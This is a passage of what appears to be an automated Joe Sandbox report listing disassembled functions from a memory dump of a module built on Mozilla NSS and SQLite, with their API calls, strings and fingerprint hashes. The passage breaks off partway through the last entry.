Function 6C5F2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(67CBE9A5), ref: 6C5F2C5D

Part of subcall function 6C650D30: calloc.MOZGLUE ref: 6C650D50
Part of subcall function 6C650D30: TlsGetValue.KERNEL32 ref: 6C650D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C5F2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5F2CE0

Part of subcall function 6C5F2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5F2CDA,?,00000000), ref: 6C5F2E1E
Part of subcall function 6C5F2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C5F2E33
Part of subcall function 6C5F2E00: TlsGetValue.KERNEL32 ref: 6C5F2E4E
Part of subcall function 6C5F2E00: EnterCriticalSection.KERNEL32(?), ref: 6C5F2E5E
Part of subcall function 6C5F2E00: PL_HashTableLookup.NSS3(?), ref: 6C5F2E71
Part of subcall function 6C5F2E00: PL_HashTableRemove.NSS3(?), ref: 6C5F2E84
Part of subcall function 6C5F2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C5F2E96
Part of subcall function 6C5F2E00: PR_Unlock.NSS3 ref: 6C5F2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C5F2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C5F2D3F
free.MOZGLUE(00000000), ref: 6C5F2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C5F2DB8
free.MOZGLUE ref: 6C5F2DC8

Part of subcall function 6C5F3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F3EC2
Part of subcall function 6C5F3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5F3ED6
Part of subcall function 6C5F3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F3EEE
Part of subcall function 6C5F3E60: PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C5F3F02
Part of subcall function 6C5F3E60: PL_FreeArenaPool.NSS3 ref: 6C5F3F14
Part of subcall function 6C5F3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5F3F27

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: b40a5ef9f5a1b855661bfeaa65e47f29e56970f6cf0847b34e6af62cf0106e1e
Instruction ID: 3ab6ed295ec5b652e24d96e84e04f39740b35c4dc757862545277c81f8130d5e
Opcode Fuzzy Hash: b40a5ef9f5a1b855661bfeaa65e47f29e56970f6cf0847b34e6af62cf0106e1e
Instruction Fuzzy Hash: 2451D0B1A042559BEB04DE64CC89B5B77E5EF94348F14083CE869C3650E731E817CFA2

Function 6C5F7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5F40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5F3F7F,?,00000055,?,?,6C5F1666,?,?), ref: 6C5F40D9
Part of subcall function 6C5F40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C5F1666,?,?), ref: 6C5F40FC
Part of subcall function 6C5F40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C5F1666,?,?), ref: 6C5F4138

PR_GetCurrentThread.NSS3 ref: 6C5F7CFD

Part of subcall function 6C6B9BF0: TlsGetValue.KERNEL32(?,?,?,6C700A75), ref: 6C6B9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C719030), ref: 6C5F7D1B

Part of subcall function 6C64FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C5F1A3E,00000048,00000054), ref: 6C64FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C719048), ref: 6C5F7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C5F7D50
PR_GetCurrentThread.NSS3 ref: 6C5F7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C5F7D7D
free.MOZGLUE(?), ref: 6C5F7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C5F7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C5F7E19

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 38249ebf40431f26d4b8ca916b836aa756b323b151c920015d0852640e4306a0
Instruction ID: 210e8689236f1618800cb63415add368e29de88f5b3b952a02514cfc90913b08
Opcode Fuzzy Hash: 38249ebf40431f26d4b8ca916b836aa756b323b151c920015d0852640e4306a0
Instruction Fuzzy Hash: 38410772A0011A9FEB049E699C41BAF33E4AF5129CF450464EC29E7B51E730ED1ACBF5

Function 6C607EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6080DD), ref: 6C607F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6080DD), ref: 6C607F36
free.MOZGLUE(?,?,?,6C6080DD), ref: 6C607F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6080DD), ref: 6C607F5D
DeleteCriticalSection.KERNEL32(?,6C6080DD), ref: 6C607F94
free.MOZGLUE(?), ref: 6C607F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6080DD), ref: 6C607FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6080DD), ref: 6C607FE6
free.MOZGLUE(?,6C6080DD), ref: 6C60802D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: a6a8c236ad888593b116a821ae1360a07c7d5a0cbab9cbfd0913812663b10bea
Instruction ID: b9fcaf844de208b9b6d72c268ef16eddf58065c65396bc23cbaa601f57f6d818
Opcode Fuzzy Hash: a6a8c236ad888593b116a821ae1360a07c7d5a0cbab9cbfd0913812663b10bea
Instruction Fuzzy Hash: 5A4109B1B011048BDF04DFB98D88A4B37B5BB47398F944639E51997B80DF30D809CBA9

Function 6C64FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64FF00

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C64FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C64FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C64FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C64FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C64FF8C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: be90e6ee9c5fbc29d0233c2b46c203a208ee8a5e503d6701c07c898a20d5e404
Instruction ID: 989f83bc81e0c7ff97d67974d3c7bf3f1ea0e99b365860359405007aab939d90
Opcode Fuzzy Hash: be90e6ee9c5fbc29d0233c2b46c203a208ee8a5e503d6701c07c898a20d5e404
Instruction Fuzzy Hash: ED3124B29017129BEB508E588C41B9B76A8AF5634CF64C139ED1897B40FB70D924C7EA

Function 6C653CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6538BD), ref: 6C653CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6538BD), ref: 6C653CD1

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6538BD), ref: 6C653CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C72B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C6538BD), ref: 6C653D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C6538BD), ref: 6C653D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C72B369,000000FF,00000000,00000000,00000000,6C6538BD), ref: 6C653D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C653D47
free.MOZGLUE(00000000), ref: 6C653D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C6538BD), ref: 6C653D6F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 290c9eead0e210102c57157bc57fd28d9db6614cffe0aed26f714eedfc3570dd
Instruction ID: 32d430460df3fd04daf05731bdc43f853669c26f1c5d5a24d6bddb25323c8ced
Opcode Fuzzy Hash: 290c9eead0e210102c57157bc57fd28d9db6614cffe0aed26f714eedfc3570dd
Instruction Fuzzy Hash: B521A4B570111237FB20667A4C09E7B39BCDB87BA9B640735B939D76C0EA60D8148275

Function 6C597D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C597E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C597E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C597EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C597F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C597ED8, 6C597F08, 6C597F19
%s at line %d of [%.10s], xrefs: 6C597EE7, 6C597F28
database corruption, xrefs: 6C597EE2, 6C597F23

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c9d17c941989a2a3b9af4fc4793da41ba28f2b4ea317f41b4cbf26c6ccaf365c
Instruction ID: 9930d51bf3a60f25a75564f05b107fb7c91c61b082d0173a3f9b604e9184becc
Opcode Fuzzy Hash: c9d17c941989a2a3b9af4fc4793da41ba28f2b4ea317f41b4cbf26c6ccaf365c
Instruction Fuzzy Hash: C561BF70A042859FCB05CF25CC90BAA37A2BF85358F1848EAEC095BB52D731ED55CBA1

Function 6C57FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C57FE83

Part of subcall function 6C57FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C57FEFA
Part of subcall function 6C57FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C57FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C57FD64, 6C57FE26
%s at line %d of [%.10s], xrefs: 6C57FD73, 6C57FE35
database corruption, xrefs: 6C57FD6E, 6C57FE30

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 680b0761eef66c2836be574a64e432ad951bc8564e0c3aaf010af2fdcee35823
Instruction ID: 93a9fd8a91998ce7b8c2a0b76b978c0c5da35fb15b594cfd7720cc1685e5868a
Opcode Fuzzy Hash: 680b0761eef66c2836be574a64e432ad951bc8564e0c3aaf010af2fdcee35823
Instruction Fuzzy Hash: 21518E71A00209DFDB14CFA9CD90AAEB7B1EF48308F144569E905AB752E735ED94CBA0

Function 6C6C2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6C2FFD
sqlite3_initialize.NSS3 ref: 6C6C3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6C3032
sqlite3_mprintf.NSS3(6C72AAF9,?), ref: 6C6C3073
sqlite3_free.NSS3(?), ref: 6C6C30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6C30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6C30BB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 6f92a62d3bfb70b903ff813c875f25d76e739a99d95dcf66dfe2653ad4763f48
Instruction ID: de9b00162c1de7c24e7d236e9508a891cf568cae99c60171c47740fbdf10e83a
Opcode Fuzzy Hash: 6f92a62d3bfb70b903ff813c875f25d76e739a99d95dcf66dfe2653ad4763f48
Instruction Fuzzy Hash: 2241B072700606ABDB00CF25D840A8AB7B5FF84368F148638EC5987B40E731F995CBD6

Function 6C645ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]dl), ref: 6C645F0A
TlsGetValue.KERNEL32 ref: 6C645F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C645F2F
PR_Unlock.NSS3(890008E8), ref: 6C645F55
PR_SetError.NSS3(00000000,00000000), ref: 6C645F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C645F7D

Part of subcall function 6C645220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C645F82,8B4274C0), ref: 6C645248
Part of subcall function 6C645220: EnterCriticalSection.KERNEL32(0F6C710D,?,6C645F82,8B4274C0), ref: 6C64525C
Part of subcall function 6C645220: PR_SetError.NSS3(00000000,00000000), ref: 6C64528E
Part of subcall function 6C645220: PR_Unlock.NSS3(0F6C70F1), ref: 6C645299
Part of subcall function 6C645220: free.MOZGLUE(00000000), ref: 6C6452A9

Strings

q]dl, xrefs: 6C645EDB, 6C645F09

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]dl
API String ID: 3150690610-3543541462
Opcode ID: 61a5b5c090cabc5232eabaf010ff67385073f58b5a7d803ddaf6910603f406fa
Instruction ID: 6e7ab3804698c2fd8710f9210ceb2052f3fbfc4751a7e8a879412abf8a99056d
Opcode Fuzzy Hash: 61a5b5c090cabc5232eabaf010ff67385073f58b5a7d803ddaf6910603f406fa
Instruction Fuzzy Hash: 3221D8B1D042049FDB00AF64DC456EEB7B4EF49318F548039E909A7741EB319958CBD5

Function 6C608CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C61124D,00000001), ref: 6C608D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C61124D,00000001), ref: 6C608D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C61124D,00000001), ref: 6C608D73
PR_Unlock.NSS3(?,?,?,?,?,6C61124D,00000001), ref: 6C608D8C

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C61124D,00000001), ref: 6C608DBA

Strings

KRAM, xrefs: 6C608D3E
KRAM, xrefs: 6C608CF9

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 70d06eb33ea3b03e7574732764549bb2a8655064815aa519da7c30bc484806a9
Instruction ID: 6be7b751a66afa981a341448a25b273cc4fff7793f95d8b2b2a019d6279dbf42
Opcode Fuzzy Hash: 70d06eb33ea3b03e7574732764549bb2a8655064815aa519da7c30bc484806a9
Instruction Fuzzy Hash: F2216BB1B04601CBCB04EF38C68459AB7F0FF49308F158A7AD89897751EB34D845CB99

Function 6C700ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C700EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C700EFA

Part of subcall function 6C5EAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C5EAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C700F2B

Strings

Aborting, xrefs: 6C700EB3
Assertion failure: %s, at %s:%d, xrefs: 6C700ED9, 6C700EE5, 6C700F06, 6C700F0B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 5b0b1e48962ff8e2a2be937df761bca3b7ff64c2e878661af74600a7b87df9f2
Instruction ID: 5fde183f3e3f57f0f36ca855a777288a0411e6d7e1cb42f7c6ffa84ae7376316
Opcode Fuzzy Hash: 5b0b1e48962ff8e2a2be937df761bca3b7ff64c2e878661af74600a7b87df9f2
Instruction Fuzzy Hash: 6A01CCB6A00114ABDF01AF64DD4A8AB3F7CEF46278B048075FD0987B02D631ED149BE2

Function 6C6E1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=^l,?,?,6C5E4E1D), ref: 6C6E1C8A
sqlite3_free.NSS3(00000000), ref: 6C6E1CB6

Strings

w=^l, xrefs: 6C6E1C44
non-deterministic use of %s() in %s, xrefs: 6C6E1C85
an index, xrefs: 6C6E1C67
a generated column, xrefs: 6C6E1C6C
a CHECK constraint, xrefs: 6C6E1C76, 6C6E1C81

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
